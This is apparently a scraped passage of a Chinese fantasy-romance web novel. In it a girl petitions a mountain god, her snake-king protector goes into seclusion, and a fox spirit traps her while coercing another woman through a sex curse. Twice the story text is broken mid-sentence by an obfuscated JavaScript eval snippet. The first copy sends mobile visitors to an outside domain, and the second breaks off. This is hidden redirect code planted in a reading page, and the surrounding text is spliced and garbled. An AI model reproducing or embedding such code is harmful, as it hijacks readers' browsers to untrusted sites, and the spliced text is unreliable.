李大叔抽出烟杆用力吸了口白雾,摇头反对: “不,告阴状用处不大。一是阴间办案流程长,况且,紫月大长老与十七名玉女都下去了,具体是个什么情况,阴间那边恐怕已经一清二楚了,用不着咱们再烧状纸报流程。 二是,虽然**十七名无辜少女,但在阴间官员的眼中,这不算什么大案,自然也不会降下多么严重的惩罚。 三,也是最棘手的一点,你们以为老祭司生前不知道淑贞的所作所为? 之所以睁一只眼闭一只眼,是因为阴苗族还有个不为人知的秘密。” “秘密?又是啥秘密?”银杏歪头追问。 李大叔叹道:“阴苗族其实是阴阳两界的两不管,上古时期阴苗族曾是西王母手下的长生部落,那会子,阴苗族还被称做九黎族。 九黎族先祖世代信奉西王母,有几个甚至还在西王母麾下做过大将军,西王母看在九黎族如此虔诚供奉自己的份上,便赐九黎族长生秘术,允九黎族得长生之力,打那以后,阴间就不怎么管九黎族了。 后来九黎族日渐衰落,族人们渐渐失去了长生不老的能力,为了生存,便和上古苗族联盟,自此纯正的上古苗族后代称阳苗人,而后融入苗族的九黎族称阴苗族。 尽管如今的阴苗与上古九黎族实力已是天差地别,但终归是西王母庇佑过的族落,阴间看在西王母的面子上是不会管阴苗族为追求长生造下的这些孽的。 老祭司就是清楚这一点,才只能放任淑贞年年抓人,而她自己故意装作不晓得此事,也是因为淑贞她不知道这个秘密,存心想让淑贞诚惶诚恐,有个忌惮。 不然,一旦淑贞不再畏惧地府问罪,那每年死的就不止一个纯阴女了。” “难怪……”阿乞表情严肃道:“师父之前就说,能将那些无辜玉女救出来,还族人们一个真相就已经足够了,不要想着让大祭司付出代价。” “那这件事真就只能这么算了吗?”银杏忿忿不平道:“这**,真就没人能为她们做得了主了吗?” “有。”李大叔吐了口浓雾,镇定道:“所谓强龙不压地头蛇,地头蛇最怕的是什么?” 阿乞争着抢答:“我晓得,是地头蛇王。” 蛇王…… 我最先想到的是我家那位。 但他们说的,应该不是。 我握着**说:“月亮姐告诉过我,要我拿着**,去找镇山龙君。” 李大叔点点头:“嗯,华桑大帝乃是九黎山的主位正神,找他告状是比找阴间或其它神简单管用。” “她们都说,九黎山上,娘娘庙最灵验,大事小事求神娘娘最管用。可关键时候还是得找华桑大帝。”银杏心累嘟囔。 李大叔瞥了她一眼蹙眉纠正:“两位神明职责范围不同罢了,你去找华桑大帝求子求姻缘试试!他当晚就能出现在你梦里拿天雷追着你劈。” 银杏呛住,干笑笑:“哈……好像还真是。” 阿乞好奇挠头:“他有这么凶吗?没看出来哎。” 银杏尴尬咳了咳,连忙找补:“既然知道了下一步该怎么做,那咱们快去镇山龙神庙啊!” 拉上我就要把我往山里带。 我无奈拽住她,不好意思道:“不用去镇山龙神庙……” 银杏:“为嘛?” 我说:“镇山龙神,是我外婆供的家神。” 银杏:“……” —— 我家就供有华桑大帝的神像,烧个**告个状根本不用往大山深处跑。 直接在我家神堂就能解决。 家神不宜被外人冲撞,于是焚烧**的重任便落在了我一个人身上。 傍晚。 我掏出火折子点燃神龛内的两支莲花红烛,又小心翼翼取过三炷香,借烛火燃出青烟。 后退两步,面向神龛跪下,恭敬地执香拜了三拜。 拜完,我将三炷香轻慢地**香炉里。 掏出放在供桌下的铁盆,我拎着**一角,用火折子把**点燃—— 火舌迅速舔上印满斑驳血迹的白绸,我松手,**落进铁盆里,片刻就被熊熊燃烧的烈焰淹没。 “你想,他如何帮这些玉女报仇?” 低沉磁性的熟悉嗓音突然在头顶响起,吓我一大跳。 我仓皇扭头,看见伫立在身后银发青袍、仙风玉骨的蛇王大人,拍拍心口定下神,无奈道:“你吓死我了,怎么每次都一声不吭地冒出来。” 用火钳把未烧完的那截**调整了下角度,原本黯下来的火势立马又烧起来,把先前没焚完的血字烧了个干净。 “我能想他怎么帮这些玉女报仇?难不成还希望镇山龙神大人把大祭司也弄死?” 我放下火钳拍拍手,低叹道: “只要能让大祭司为玉女们的死付出代价,阻止大祭司以后再用无辜少女的性命去祭长生泉满足私欲就够了。 今天的情况你也看见了,那些族人们根本不会管玉女的死活,他们脑子想的都是长生,只要有利于他们,他们是不在乎方法手段的。” 伸手扯了扯他的袖子,我示意他也蹲下来。 他顺着我的意思……直接在跪垫上盘腿而坐,懒散地整理衣袍,淡淡与我说: “宋淑贞是阴苗族大祭司,即便你去找他告状…… 他是神,同时也不能过多干预世间之事,乱了人间秩序,大祭司在阴苗族地位颇高,她的存在对八寨十三村影响甚大,贸然出手解决她,会导致阴苗 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“本尊是想告诉你,即便是他,也不能轻易处置宋淑贞,若他让你失望了,也是有原因的。你别怪他。” 我想了想,歪头再次认真告诉他:“你放心,我还没弱到把报仇的希望寄托在神明身上的地步,那样和打不过人家就背地偷偷扎人家小人的蠢笨行径有什么区别?” 他见我没有生气,松了口气,深深瞧了我一阵,突然抬手,目光宠溺地刮了下我鼻梁。 “本尊知道,本尊的阿鸾,生来好强又独立。” 我呆呆盯着他那双幽井般的好看青眸,愣了一阵…… 拽着他的手不满道:“你跪好,我让你蹲下,你怎么坐下了,龙神大人的神像还在这呢,你当心惹到华桑大帝!” “它?本尊就算惹了他,又能怎样?” 他桀骜瞟了眼神龛中的神像,挑眉嚣张放话: “不过是尊神像罢了,本尊敬着他,他是神,本尊不愿敬他,他就是块破木头!” 我听见这话,顿时吓得全身鸡皮疙瘩起了好几层,惶恐地一把捂住他嘴巴,额头狂冒冷汗! “你别乱说话!”我低声责备他,瞟了眼神龛深处的高大黑影心底发怵道:“他可是九黎山的镇山龙神!你得罪他,当心他拿天雷劈你!” 他蹙眉,掰开我的手仍大言不惭:“本尊怕他?” 我脸黑,无情戳他小心脏: “镇山龙神可比神娘娘厉害多了!你不怕他?就你还敢在他面前放肆,当年一座小小的娘娘庙就把你**了,你要是惹恼了他,他出手,不得把你打得魂飞魄散!” 蛇王大人的脸瞬间青了一片。 我咳了咳,晓得自己刚才那话说得太尖锐,又忙抚了抚他的心口给他顺气,软语讨好: “蛇王大人我知道你很牛,但是架不住人外有人蛇外有龙嘛!咱们不做无谓的牺牲。” 等他老人家脸色稍稍缓和了些,我才郑重跪下身朝神龛又拜了三拜:“我家蛇王年纪小不懂事,龙神大人莫怪莫怪,童言无忌,呸,蛇言无忌!” 蛇王大人:“……” 拜完,我才放心拉他起身出神堂。 再留他在华桑大帝面前,说不准他还要放出什么大话呢! 回到堂屋,我给他倒了杯温水,想起之前他胸口有伤,我顺便关心了句:“你身上的伤养好了吗?” 谁知,我这一问,话音刚落他就毫无征兆地按着胸膛猛喷出一口浊血…… 第46章 你家蛇王是不是另有来头 吓得我手上一哆嗦,差点把水杯砸他胳膊上。 “青漓!你怎么了!”我慌忙放下手里东西,扶住他的肩膀,心跳如鼓。 他抬袖擦去嘴角的血色,握住我一只手,沉声安抚:“没事,死不了。” “你到底受了什么伤?怎么这样严重!” 我下意识攥紧他的手,心慌意乱道: “我记得李大叔会道医,青漓你在家等我,我去找李大叔过来给你看看!” “不用。”他蓦地抬手揽住我腰身,用这种方式拦住我,低头伏在我怀里呼吸沉沉,嗓音沙哑:“本尊自己能熬过去,本尊这是旧疾,每隔一段时间就会复发一次,习惯了。” “青漓……” 他此刻抱我的姿势、过于亲密,抱得我克制不住的心跳越来越快…… 不过,他的伤才最重要! “那怎么办啊?”我不知所措地着急说:“总不能放任你这么疼着!受了伤怎么能熬,我还是去找李大叔,问问他有没有法子治你,哪怕能为你缓解点疼痛也好啊!” “他治不好本尊,本尊熬过这几日就不会再疼了。” 他拧眉伏在我怀里,额角一片热意,大手搭在我腰上轻声叮嘱: “阿鸾,本尊要封闭五感回戒指内闭关,这几日本尊便不陪在你身畔了,你有急事,就唤本尊名字。” 我乖乖点头,拍拍他的后背应下:“好。” 他昂头,依依不舍地深深看了我一阵,临行前,突然大手按下我的背,在我弯腰那刻,薄唇用力吻住了我的唇—— 我被他吓愣住,他这个吻,心情复杂……薄唇含着我的唇轻轻啃了两下。 呼吸急促地吻了半分钟,才肯放开懵住的我。 大手揉捏了一把我的腰窝,他俊脸苍白地浅声道: “别怕,本尊不会死。你不在这些年,很多次都是本尊自己熬过来的。如今有了你,本尊更不会自暴自弃。” 再次将头埋进我怀里,他如今,乖顺得像条大宠物蛇,褪去一身寒意,窝在我心口讨好轻蹭: “阿鸾,本尊不在你身边这几日,你老实些,若实在需要动手,有危险时记得喊本尊的名字,本尊虽封闭五感,但本尊的名字,仍是你召唤本尊的法咒。” 他竟然,把他的名字赐给我做召唤法咒…… 我记得小时候曾听李大叔讲过,用名字做召唤法咒是仙门比较特殊一道灵术,结咒者要么是挚爱夫妻,要么是血缘至亲。 通常是强的那一方将自己的名字赐给弱的那一方做咒语,这样无论弱者身在何处,身处何种险境,只要喊出强者的名字,强者就会立即感应到…… 哪怕弱者不在三界六道之中,强者也能根据召唤法咒找到弱者的踪迹。 但,此咒一旦结成,就注定两人的命数会被牢牢绑在一起。 弱者死,强者也会遭受反噬。 他、是不是早就把名字赐给我做召唤法咒了。 前几次我遇见危险,也是一叫他,他就出来了。 所以,他从一开始,就没想要我的命? “青漓……”我意外地低头,伸手想要抚摸他月华般柔顺的银发。 但,下一秒,他就化作青光飞回了我手上的戒指里。 我愣愣举着手,自我怀疑地低喃:“难道真是我一开始就错了?蛇王大人,从没想过害我。只是我对他有偏见,才总认定他居心不良……” …… 晚上,我将给外婆做好的新牌位摆放在堂屋靠墙的条案上。 银杏陪我跪在外婆神位前烧了一整筐金元宝。 冥纸一张张送进火盆,被大火吞噬。 银杏低头边将黄纸揉花成扇形,边和我闲聊: “镜镜你还记得上次在娘娘庙用棍子打你的那几个长老会打手吗? 我下午和阿乞去长老会整理东西,才听说之前欺负你的那几个狗腿子在咱俩被送进长生宫当晚就手上生疮,夜夜疼得嗷嗷叫。 现在还卧病在床,躺家里治疮,双手碰不得任何东西呢。据说连上厕所都是他们的爹妈扶着他们,帮他们脱的裤子。啧,落得这个下场,该!” “双手生疮?”我第一时间就猜到这事可能是蛇王大人干的,扭头问银杏:“李大叔怎么说?” 银杏耸耸肩:“我爸能怎么说?你猜不出是谁让他们手上生疮的吗,除了你家那位大蛇王,谁会这么斤斤计较地为你报仇。” 探过头来调皮地冲我吐舌: “不止当天打过你的人遭了报应,还有在娘娘庙骂过你的人也舌头起泡嘴里溃疡了! 不过她们一时半会倒还没猜到自己是因为得罪你才倒大霉的,一个个找我爸看病的时候都以为是自己冲撞了什么脏东西。 我爸一检查,立马就明白了。” “那李大叔帮她们治好了吗?”我问。 银杏摇头,一本正经道: “我爸傻啊!既然是蛇王老爷的意思,我爸要是和蛇王老爷唱反调,说不定下一个倒霉的就是我爸了。 再说我爸还蛮敬重蛇王老爷的,他才不会拆蛇王老爷的台呢,不顺水推舟再帮蛇王老爷一把就已经是对那些人顾念旧情了! 我爸没给他们治,但也告诉了他们,那疮和水泡都是有时效性的,最多一个月就会自愈,我爸还警告他们,以后不许听风就是雨随便冤枉欺负人。” “要疼上一个月,蛇王大人下手还挺重。”我往盆里丢着黄纸轻喃。 银杏拍拍我的肩: “嗨,这算什么。你要知道蛇王老爷是什么身份,九黎山最有名的青蛇大妖啊! 前一阵子你姐姐得罪山里的野狐仙,那野狐仙还差点害死几条人命呢! 现在他们惹蛇王大人不爽,蛇王大人只是让她们长疮生水泡痛苦上一个月而已,又没动他们小命。 他们啊,就该给蛇王大人多上香,感谢蛇王大人不杀之恩吧。” 银杏说的…… 很有道理! 按青漓这个人、啊不对,蛇设,他可是祸乱苗域**不眨眼的狠角色! 受一个月的折磨好歹强过被青蛇大妖一口吞了。 但,这么一说…… 所以那天,他并没有真的不管我。 他没在娘娘庙现身罩我,但却在暗中悄悄替我惩罚了那些欺负过我的人…… 而他做的这一切,竟都没有和我说过。 我盯着火盆里跳跃的焰苗,心底一时乱糟糟的。 我家这位蛇王老爷,似乎一直都是个刀子嘴豆腐心的男人。 嘴上说着不管我,实际上早就暗中出手把该解决的都处理干净了。 “对了,还有赵二,那家伙在咱们月阴村算是彻底身败名裂了!” 银杏兴致勃勃地向我告状: “就他和宋花枝那漏洞百出的解释,族里不少人已经隐约猜出了实情,但碍于宋花枝的面子只能装不知道。 不过经此一闹,宋花枝在族人们心中那圣洁高贵的形象可就大打折扣了。 族人们没法追究宋花枝,只能把气撒赵二头上。 听说赵二上午光着屁股被族里几位嘴皮子功夫十分了得的大妈送回家后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053994|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些大妈都快把赵村长老婆娘家的祖坟给骂冒烟了! 不过,也是赵村长老婆该!村里谁不知道赵村长是出了名的憨厚耿直,他老婆却是人尽皆知的得理不饶人,刻薄小心眼。 去年村南头下坡的老孙家小儿子路过她家门口,馋嘴摘了她家两个杏子,她当晚站家门口骂了老孙家一个多小时的脏心烂肺没**。 还有,之前大祭司喊人来你家绑你,给你换衣服,塞你进灰狐仙的花轿,那些来凑热闹的长舌老娘们里就有她一个! 也是她向大祭司通风报信,害村长被拦在你家门外,想救你都没辙。 赵二现在做事越来越荒唐,何尝不是她过于溺爱才导致的后果。 赵村长也是倒霉,娶了这么一个不讲理的媳妇,明明有个明辨是非性子随他,一样大仁大义的大儿子,却因为赵二他妈偏心赵二,硬是将赵大哥给逼走了。 这种情况就是我爸说的,有福气却没命享。” “我也没想到赵二看着温和儒雅,实际上内心这么肮脏阴暗,手段卑劣。” 我跪在地上,想起赵二就一阵恶心: “幸好今天我在场,要不然又被赵二那个王八蛋算计了!不是一家人不进一家门,赵二和宋花枝真是绝配!” 银杏凑近我些,说: “赵村长这几天被支去其他村子办事了,临走前嘱咐过我爸,要我爸好好照顾你,想法子护住你的小命。 老村长还蛮明事理的,下午村长回来了,听人详说了今天在祖祠门口发生的所有事后,估摸猜到他小儿子是故意伙同大祭司陷害你,就拿着擀面杖打了赵二两个多小时。 你是不知道,傍晚方圆好几里都听见了赵二的惨叫。 我来找你的时候还特意打赵村长门前过了一遍,赵村长家里他老婆正一哭二闹三上吊呢,那热闹程度,鸡飞狗跳的,大黑都不敢进院子!” 我内心恢复平静,烧完银杏递过来的黄纸,淡然说: “大祭司做的事,村长不可能一点风声都没听到。外婆在世那会子,李大叔和村长常来找外婆说话。 村长可能是为了村子的太平,才选择假装什么也不知道。 村长为人正直,自己的儿子干出这种事,他肯定很失望痛心。” “失望痛心能怎么办?” 银杏一屁股瘫坐在地上,歪头靠着我肩膀低喃道: “当年赵大哥离家出走的时候,他要是态度强硬点,镇住自己老婆拦下赵大哥,也不至于四五十岁了还被赵二气得心脏痛。 赵二出了这桩丑事,以后谁家闺女还敢嫁他,赵大哥离家快十年了,也不晓得在外面结婚没有。 赵村长什么都好,就是心太软,他老婆每次闹着要跳河上吊,他都得歇菜。” “那是他媳妇,何婶子从大老远的地方嫁过来,几十年了身边只有赵叔,月阴村也没她个娘家兄弟姐妹在,赵叔肯定要多包容她了。” 我抬手刮了下银杏的鼻梁,银杏嘟嘴道: “说的也是,村长老婆有脾气也是村长自己选的。何况,村长媳妇远嫁,是比近嫁要没安全感。还好我已经提前和我爸说好了,以后我不嫁人,我给他招个赘婿!” 我赞同道:“以你家这条件,完全可以。” 银杏虽然是单亲家庭,但李大叔在族里的名气高,加上银杏本来就长得娇俏可爱,就算是招赘婿也有大把族中优秀青年上赶着来排队。 银杏倚着我安静了会儿,又好奇嘀咕:“你家蛇王大人,是不是另有来头?” 第47章 灰狐仙来找她了! 我愣了下:“什么?” 银杏说: “中午我爸趁我去洗碗,和阿乞在堂屋说悄悄话。 我扒在门口偷听到了两句,先是阿乞说,他师父二十年前见过帝君一面,他每年都跟着他师父去山里给帝君上香,没想到帝君竟然会在凡间现身。 然后我爸说,帝君不想让别人知道他的身份,提醒阿乞千万别说漏了嘴。我爸还说,你家那口子是因为你才涉入凡尘的。 哦对还有,下午两三点,你家那口子去找我爸和阿乞了,他说他有事要闭关一阵,让我爸和阿乞帮忙多照顾你。” “闭关的事我知道,他和我说了。” 我只是没想到,他竟还放心不下地专门去找李大叔和阿乞照顾我。 哎,他是真怕我太冲动,把自己给作**。 但,李大叔口中说的身份,到底是什么意思? “可能是李大叔害怕阿乞年纪小,现在又接手了长老会,会一不留神就把青漓在我身边的秘密泄露了出去,所以才提醒阿乞别说漏嘴?”我低声推测。 银杏摇了摇头: “我也不懂,可又不像是这么简单,毕竟我去问我爸,我爸回了我一句小孩子家别乱打听。 根据我多年套我爸话的经验来看,我爸只要说出这一句,就证明,蛇王大人的身份肯定还有其他秘密!” 我深呼一口气,猜不出来就索性不猜了:“无所谓,他是什么身份不重要,重要的是他这个人。” 而我话音刚落,银杏就诧异地立即坐直身,用怪异的眼神盯住我,正儿八经地审问道: “镜镜,你该不会是对你家蛇王动心思了吧!” 我一怔:“啊?” 银杏阴阳怪气地重复我刚才那句话:“他是什么身份不重要,重要的是他这个人。啧,他这个人对你来说很重要吗?” 我呛住,这才后知后觉地发现话中不对劲,尴尬闷咳几声:“我刚才随口说的。” 银杏不依不饶地靠过来抱我胳膊:“下意识脱口而出的话才是心中的真实想法好不好?” 我嘴硬反驳:“没有,他是蛇我是人,我怎么可能……咳,和他有那种感情呢,而且我们才认识多久,他和我只是互相利用,各取所需。” 银杏一句话点醒我:“可是,他有什么可利用你的?你身上有什么是他真正所需的?” 我猛地攥住双手,心头重重一颤。 是啊,好像从头到尾,都是我在利用他,我需要他…… 银杏挽着我的手臂轻轻说: “镜镜,其实我早就看出来了,蛇王大人瞧你的眼神不一样,他对你,和对别人是不同的,他看你的眼睛里,有光。 他有好几次,都在你说话或认真思考问题的时候,偷偷盯着你看,像入迷了一样。 电视剧上只要这么演,那就是男主角喜欢女主角嘛!什么互相利用,各取所需,说不定只是他接近你的幌子。” 我心猿意马地抿了抿唇,下意识否认:“电视上演的都是假的,现实哪有这么夸张……我身上当然有他需要的东西了,他、咳,馋我身子!” 银杏嘴角一抽:“……哈?” …… 青漓封闭五感闭关去了,我也终于能睡个好觉了。 至少他夜里不会再折腾我。 早晨起床,我照例先打扫院子再做早饭。 青漓不在,早饭只需要做我一个人的量。 一人量的米粥不太好做,我也懒得再费熬粥的时间,就简单做了碗鸡蛋面填肚子。 吃饱喝足后,我给神堂里的神像上了三炷香。 将神龛供台上的瓜果换上三盘新鲜的,我后退几步,认真地双手合十向神像祈祷:“龙神大人保佑外婆在阴间一切顺利,早登彼岸,来世投个好胎……” 想了想,又说:“龙神大人,保佑青漓的伤早日痊愈,保佑他没有大碍。” 祈祷完,我恭恭敬敬地朝神龛磕了三个头。 随后离开神堂,去外婆房间整理她的遗物。 外婆走后,她的卧室摆设我并没有乱动,床上还铺着外婆生前使用的床单与薄被子,连枕头我都没有收起来。 她老人家的屋子,我有空就来打扫,她生前的衣物被我烧了一部分,剩下一部分还保留在衣柜里…… 外婆屋里的茶壶仍续着新茶,她爱看的那几卷书也被我整齐摆放在她老人家的床头。 李叔之前说过,外婆走了,外婆这间屋子也可以收拾清空了,以免老人家念旧,亡魂上来叨扰故人。 可我却不想那么做。 家里现在就剩我一个人了,空荡荡的,青漓不在的时候,那种渗进骨髓的清冷寂静感更为明显。 外婆的屋子保持原样,就像外婆从未离开过我一般…… 有外婆在,我就不那么害怕了。 多希望这一切都是一场梦,我再醒来,外婆已经拄着黑木拐杖从外面回来了…… 越想越伤感,我揉了揉酸胀的双眼,在外婆的床边坐下。 抚着外婆盖过的被子,心底酸溜溜的。 朦胧视线扫过外婆床头放着的那本书,我愣了愣,伸手把东西拿过来…… 这是外婆生前给我的书,外婆说过,三天后才能打开看,不然我会遭天谴。 只是后来发生太多事,我根本没时间翻开这本书。 现在已经过去了十来天,我应该可以打开它…… 翻开古书的书皮,泛黄的内页上…… 竟空无一字! 我疑惑不解地又翻开了几页。 还是没有字! 整本书都没字。 难不成这书还有查阅时间限制?我没有在规定时间翻开它,它里面的字就自动消失了? 我不死心地拎着书使劲晃了晃,再翻开,还是一片空白,什么都没有…… 这书,真怪。 里面到底写了什么啊! 我气馁地将书扔在床上,暗暗生闷气。 什么破书,就会吊人胃口…… 算了,看在它是外婆遗物的份上,有空我去问问李叔。 说不准这书里暗藏机关呢。 我把书塞进自己的衣襟里,阴苗族的服饰就是好,没有扣子,但却方便贴身藏东西。 从外婆的房间出去,我正准备关门,却突然,又听见了一道熟悉的、狐狸叫声! 那声音仿佛就在我的头顶,清晰嘹亮,瞬间就激得我毛骨悚然,手上发颤! 我把两扇木质雕花房门关好,赶紧跑到院子里,昂头检查了一遍我家的房顶…… 没有找到狐狸,但我却在我家堂屋的屋顶上,看见了一只学人双腿直立,双目放黄光的黄鼠狼! 黄鼠狼的脖子上,还缠着一条小黑蛇,而黑蛇的蛇头,已经被黄鼠狼一口咬掉了…… 黄鼠狼看见我,伸爪扯掉脖子上的死蛇,用力朝我扔过来。 无头黑蛇啪的一声砸在了我脚下,我神魂一震,连忙后退两步。 东西带到,黄鼠狼咧嘴朝我诡异一笑,转身就跃下了房顶,朝屋后跑了去…… 我低头瞧着地上没了脑袋还被划烂蛇皮的死蛇……背上一阵发寒。 是灰狐仙! 他在用这种方式通知我,他要来找我了…… 青漓在闭关,万一真撞上那条死狐狸,还是得靠我自己。 我不放心地回到自己房间里,翻出朱砂**血,照着外婆留下的古籍记载做了几样简易的驱妖暗器揣怀里。 惹不起就躲,躲不过就兵来将挡水来土掩! 只是好在,我提心吊胆在家里等了他大半天,也不见家附近有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那我们现在要不要做些什么?”银杏一脸激动地问。 我瞧着她眼底流露出的浓浓兴奋,暗暗在心底感慨了一句:难怪我俩能玩到一块去。 每次都心有灵犀的同时想到怎么搞事。 我思忖片刻,和她说:“这异香对女人们没作用,银杏你帮我一个忙,想办法把山下的女人们引到娘娘庙去!” 之前大祭司曾下过令,不允许族人们日落后上山进娘娘庙,表面上是为了族人们的安全着想,实际上却是在替宋花枝打掩护。 只要把山下的村民引上山,带进娘娘庙,设法让她们亲眼看见和野仙苟合的人是宋花枝,那我身上的脏水就不洗自净了…… 野仙会化成风跑路,宋花枝可不会。 银杏听完不假思索地重重点头:“好!” 转身就要跑,我却及时拉住她的手腕又补充了一句:“让李叔和村长想法子拖住大祭司!” 失去宋淑贞这张护身符,以宋花枝那三脚猫功夫的巫术,就算逃,能全身而退的概率也不大。 银杏立马意会,潇洒打了个响指:“懂!” 我二人分头行动,她去村里鼓动女人们上山,我则先去娘娘庙探察情况。 五十分钟后,我终于来到了娘娘庙的山门前。 今晚的娘娘庙与往日并无不同,依旧四下一片阴寒,庙里灯火通明…… 我觅着腥臭味的来源,穿过娘娘庙正殿,一步步走近那座屡次光顾的偏殿慈善堂。 偏殿上空萦着粉色浓雾,花窗前,桃花开得妖异美艳…… 还未走到窗下,就听见殿内传出放肆勾人的女子娇笑声—— “哎呀,王上,你过分了呦,这个地方,不能碰……” “哎,别咬,疼。” “酥酥麻麻的……” 暧昧缠绵的呻吟声听得人神魂大乱,我止步在慈善堂外,不想打草惊蛇。 片刻,慈善堂的偏房里突然乍现一道庞大的妖物黑影…… 妖物的五条长毛尾巴轮廓清晰倒映在窗棂上,我瞧着窗边来回摇摆的绒绒长尾,顿时头皮发麻! 第48章 你比宋花枝香多了 而宋花枝后来的一声喘叫,更是惊得我背上冒冷汗! “狐王大人,疼!不要这样的……” 狐王大人…… 今晚在娘娘庙和宋花枝在一起的野仙,是那条死狐狸?! 惊觉真相的那一刹,我忽然察觉到…… 灵魂深处,像有一根线,在我体内胡乱游弋,四下点火…… “王上,你轻些摸……” “人家的腰都要被你折腾断了~” “王上——” 女人的娇吟仿若有催生我体内**的魔力,绵软愉悦的言语在我脑中挥之不去,我咬紧下唇企图用痛感压制体内的异样反应,转身想逃…… 但,刚迈出去一步,我就被凭空出现的血色结界给猛地挡退了回来! 结界逼退我后,血光再次隐匿于渐黯的暮色中。 他发现我了? 还是说,今晚这一幕,本就是他和宋花枝给我下的一个套?! 而更可怕的是,紧接着我的身体就开始变透明…… 不过十秒,我就消失在了桃花树下。 连我自个儿都瞧不见自己的身影! 可明明,我是存在的,我还站在原地! 偏房里的灰狐仙有所感应的嗤笑一声,猛一用力,耳畔便又是一阵女子羞人的婉转喘叫…… “王上~你这么着急做什么,都弄坏人家啦。” 男人嗓音闷哑的低笑:“小妖精,还得是你,撑得住本王的恩泽。” 宋花枝讨好地软绵绵道:“那王上,你可得多宠宠人家,别把人家折腾**,人家还想长久侍奉王上呢。” 恶心! 身体里像有无数只小虫子,密密麻麻攀满我的骸骨,在我的血液里疯狂游窜,勾得我全身皮肤发麻,又酥又痒…… 我的体温,好像也在迅速升高…… 身上烫意愈发明显,不过片刻,就热得我心烦气躁想扒衣服…… 可,不行,现在我还不能失控! 屋里的男人也不晓得用了什么手段对付宋花枝,竟把宋花枝兴奋得大叫连连。 喘息之余,男人压下嗓音,冷了语调,突然兴师问罪: “要不是鸳鸯缠控制着你,小妖精,你怕是还不肯主动来找本王吧!” “你母亲可真有能耐,本王要的新娘都敢换!真以为本王不知道,你们母女俩打的是什么歪心思么?” “是你妹妹主动替嫁,还是你与你母亲联手设计她替嫁,本王如今,都无所谓……反正,你,本王要定了!” “如何?鸳鸯缠的滋味,还舒爽么?本王早就说过,本王可以不管你和其他公玩意上床,但本王需要你的时候,你必须得来取悦本王!” “你以为,中了鸳鸯缠,只要和男人在一起,都能解咒?做梦,本王告诉你,从你第一次主动对本王投怀送抱时,本王就是你唯一的解药……你若不乖乖来侍奉本王,本王有的是法子整治你!” 宋花枝痛得低吟,连连示弱:“我错了王上~以后我一定好好侍奉您。” 灰狐仙这才满意沉哼一声:“不过,你那个妹妹,姿色倒是不输你。” 宋花枝不要脸的提议:“王上喜欢,那王上也对她用点手段,这样我们姐妹两个,就能一起伺候王上了。” 这个卑鄙小人! 我意识愈发不清明了,身上的燥热逼得我额角大汗淋漓,呼吸也越来越困难…… 又试着往前闯了几次,可**都被那道血色结界给硬挡了回来。 死狐狸,他是故意的! 故意不放我走! “放心,你身上有的,她也有。不过,还真是让本王意外,那条蛇,竟然没动她……” “王上,我妹妹的滋味,肯定比您洞里的母狐狸,要好很多。” “但愿吧,如此,也不枉费本王在她身上下那么多心血。本王倒是挺盼着,她能似你一般,天生媚骨,承得住本王的夜夜恩赏,可不要玩两下,就**。” 贱狐狸! 想碰我,做**春秋大梦去吧! 我难受地扒了扒衣领,抬头,忽听见有杂乱脚步声正往这边赶…… 太好了,有人来了! 可不等我多高兴几秒,屋里的宋花枝就娇弱地向灰狐仙告状:“王上,我那个妹妹性子烈得很,你对她,可不能心慈手软啊。” “王上,现在妹妹有蛇尊庇护,很快,咱俩的事就兜不住了……您答应奴的,会让奴坐稳圣女之位。奴不想被族人们辱骂是没脸没皮的**,王上,您得替奴想办法!” “小妖精,你想要什么,本王都知道。看在你今晚如此尽心尽力伺候本王的份上,本王会帮你的……不过,你也得给本王记住,本王能让你做圣洁高贵的出水芙蓉,也能把你拉下泥潭,让你,遗臭万年。” 银杏顺利把村里女人们给引了过来,我看见举着火把的人群,心头一喜,立马扑过去呼救—— “救命、救……啊!” 没想到那血色结界再次将我挡了回来,这次,结界上的法力还狠狠把我撞摔在地…… 我被困在结界里出不去,只能爬起身拼命拍打着那道无形的结界不断大声呼喊:“救我!张婶子,李大娘,救我,救我!” 可,没过多久,我就发现,结界外的女人们不但看不见我,还听不到我的声音…… 死狐狸把我困死在这里了,他到底想做什么! 不祥的预感愈发强烈,心底的不安令我背上发寒。 灵魂深处的滚烫感与这股寒意交融后,更让我头重脚轻,站不稳身子…… 我后退两步,狼狈地撞在桃花树上。 结界外的女人们举着火把一个个凶神恶煞怒目圆瞪,陈家婶子率先义愤填膺道:“银杏那小妮子说得对!与其一直被蒙在鼓里,不如闯进来看看!” “我倒要瞧瞧是哪个不要脸地害我们月阴村!” 剩下的女人们纷纷激动回应:“对!咱们这么多人呢,就算有妖怪,咱们团结一致,也能赶走他!” “太过分了,竟然在娘娘庙这种神圣的地方干出这些丢人事,真是罪大恶极!” “异香一出,族里又要**,她手上沾染了这么多人的血还不知足吗?” “究竟是会变脸的妖怪,还是人,今晚我们就要弄清楚!” “对!里面的东西听着,赶紧出来,不然我们放火烧殿了!” “出来,不出来我们就烧死你们!” 众人叫嚷的厉害,我原以为灰狐仙会直接带宋花枝离开,却没想到…… 片刻后,一袭柳青飘逸广袖长衣的灰狐仙竟直接抱着衣不蔽体的女人,大摇大摆的走出了娘娘庙偏殿—— 狐仙怀里的女人秀发凌乱,玉体遍布暧昧红痕,一张薄纱遮住女人的容颜,白皙的脚踝上,挂着助兴的铜铃脚踝…… 一步一响,叮叮当当。 女人娇羞地别过头,将脸埋进狐仙的胸膛。 站在殿门外举着火把的女人们见状俱是吓得连连退缩。 有眼尖的女人认出灰狐仙,惊恐大叫:“是他!他就是灰狐大仙!” 一句话击垮所有人的胆气,女人们被吓得再次不停后退,一个个额角冒冷汗,警惕惶恐地盯着走出殿门,怀抱佳人的瘦高野仙家。 灰狐仙见状,墨眉一挑,灰瞳绽出得意笑色,眼尾赤色小痣妖冶邪魅。 乌发如瀑,松散地披在身后。 